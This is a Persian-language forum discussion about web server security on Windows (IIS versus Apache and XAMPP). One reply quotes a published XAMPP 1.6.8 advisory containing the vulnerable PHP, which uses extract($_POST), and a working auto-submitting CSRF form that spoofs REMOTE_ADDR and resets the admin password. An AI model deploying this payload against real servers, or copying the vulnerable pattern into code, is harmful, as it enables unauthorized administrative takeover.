5سپاس
LinkBack URL
About LinkBacksنوشته اصلی توسط patris1
با IIS 6 هم جواب ميده؟
با IIS 6 هم جواب ميده؟
منظورتون از ریزه کاری فکر کنم تنظیمات باشه.
در مورد مشکلات پرمیشن شما با تغییرات در فایل httpd.conf در Apache میتوانید به هدف خود برسید.
در مورد مقایسه امنیت بهتر بود IIS را با Apache مقایسه میکردید تا با Xamp , Wamp و .....
که در بسیاری از موارد امن تر بودن Apache باعث محبوبیت آن شد.
ميتونم بپرسم httpd.conf چه ارتباطي به پرميشن و بستن دسترسي داره ؟ !!!
ببخشيد ... شايد سواد من نميرسه ولي بنده براي deny كردن از htaccess استفاده ميكنم و هيچ ارتباطي با httpd.conf در اين مورد پيدا نميكنم.
بهتر بود شما بحث رو از اول پيگيري كنيد تا بهتر متوجه سوال و جوابها بشيد.
دوستمون در محيط ويندوز ميخواد كار كنه ... خوب ... شما چطوري ميخوايد براي ايشون يه وب سرور امن ايجاد كنيد ؟ ايشون ميخواد آنلاين باشه ... امن تر از IIS در ويندوز كه Mysql و php و احيانا براي سهولت phpmyadmin هم داشته باشه شما سراغ داريد (براي استفاده آنلاين) ؟
نمونه اي از مشكلات xampp كه البته خيلي مبتدي هست.
البته اگر مايل بوديد ميتونيد لينك آپ بديد ... داون تحويل بگيريد.
کد:XAMPP change administrative password: -------------------------------------------------------------------------------- Written by Michael Brooks special thanks to str0ke Affects XAMPP 1.6.8. homepage: http://www.apachefriends.org/ XAMPP has 17+ million downloads from sourceforge.net. register_globals=On or Off This attack is exploitable even when this page is reporting a fully secure system: http://10.1.1.10/security/index.php There are two vulnerabilities that are being used toagther. 1)Global variable manipulation to spoof ip address. 2)XSRF to change the .htaccess password for http://10.1.1.10/security/ and http://10.1.1.10/xampp/ . The $_SERVER[REMOTE_ADDR] comes directly from Apache's tcp socket and this cannot normally be spoofed. However extract($_POST); can be used to overwrite any declared variable, including the $_SERVER superglobal. This can be used to "spoof" your ip address as 127.0.0.1 This xsrf attack can be exploited from a browser in any ip address, so long as that browser is currently authenticated. This vulnerable code is from the very top of: /security/xamppsecurity.php <?php error_reporting(0); extract($_POST); extract($_SERVER); $host = "127.0.0.1"; $timeout = "1"; if ($REMOTE_ADDR) { if ($REMOTE_ADDR != $host) { echo "<h2> FORBIDDEN FOR CLIENT $REMOTE_ADDR <h2>"; exit; } } //... //Start of xsrf attack <html> <form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1> <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1"> <input type=hidden name="xamppuser" value=admin > <input type=hidden name="xampppasswd" value=password> <input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory"> <input type=submit> </form> </html> <script> document.getElementById(1).submit(); </script>//End of xsrf attack
البته دوست عزيز. مشكلي در اين مورد نيست.
مجوز های ارسال و ویرایش
